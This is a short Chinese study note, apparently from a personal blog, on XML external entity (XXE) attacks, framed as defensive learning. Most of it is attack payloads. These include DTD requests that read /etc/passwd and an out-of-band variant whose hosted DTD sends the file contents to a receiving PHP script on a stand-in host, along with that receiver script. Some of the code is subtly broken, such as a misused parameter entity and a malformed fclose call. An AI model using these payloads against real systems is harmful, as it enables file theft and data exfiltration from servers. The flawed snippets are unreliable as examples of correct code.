【笔记】XXE外部实体攻击

前言

XML外部实体攻击是一种针对解析XML格式应用程序的攻击类型之一。此类攻击发生在配置不当的XML解析器处理指向外部实体的文档时,可能会导致敏感文件泄露、拒绝服务攻击、服务器端请求伪造、端口扫描(解析器所在域)和其他系统影响。(维基百科

本文仅用于网络信息防御学习

漏洞利用

读取文件

file:///etc/passwd:被读取的Linux文件

request
1
2
3
4
5
6
7
8
POST http://example.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE example [
<!ENTITY file SYSTEM "file:///etc/passwd">
%file;
]>

引用外部实体

  • 解决拦截直接读取文件的问题
request
1
2
3
4
5
6
7
8
POST http://example.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE example [
<!ENTITY % remote SYSTEM "http://example.com/payload.dtd">
%remote;
]>
  • 在dtd文件内定义payload
http://example.com/payload.dtd
1
<!ENTITY send SYSTEM "file:///etc/passwd">

带外

  • 引用外部实体后将文件发送到自己的服务器
  • 解决拦截直接读取文件且没有回显的问题

http://example.com/payload.dtd:被引用的外部实体

request
1
2
3
4
5
6
7
8
9
10
POST http://example.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE example [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://example.com/payload.dtd">
%remote;
%remote_send;
]>
http://example.com/payload.dtd
1
<!ENTITY % remote_send "<!ENTITY send SYSTEM 'http://example.com/receive.php?data=%file;'>">

data.txt:写入到文件

http://example.com/receive.php
1
2
3
4
$data = $_GET['data'];
$file = fopen('data.txt', 'w+');
fwrite($file, $data);
fclose($file, 'w+'));

代码审计

  • 查找处理XML数据的代码,如果处理的XML数据是从用户输入,则需要关注XML外部实体攻击
1
2
$xml_string = file_get_contents('php://input');
$xml = simplexml_load_string($xml_string, 'SimpleXMLElement', LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDATTR | LIBXML_NOERROR | LIBXML_NOWARNING);

完成

参考文献

哔哩哔哩——xiaodisec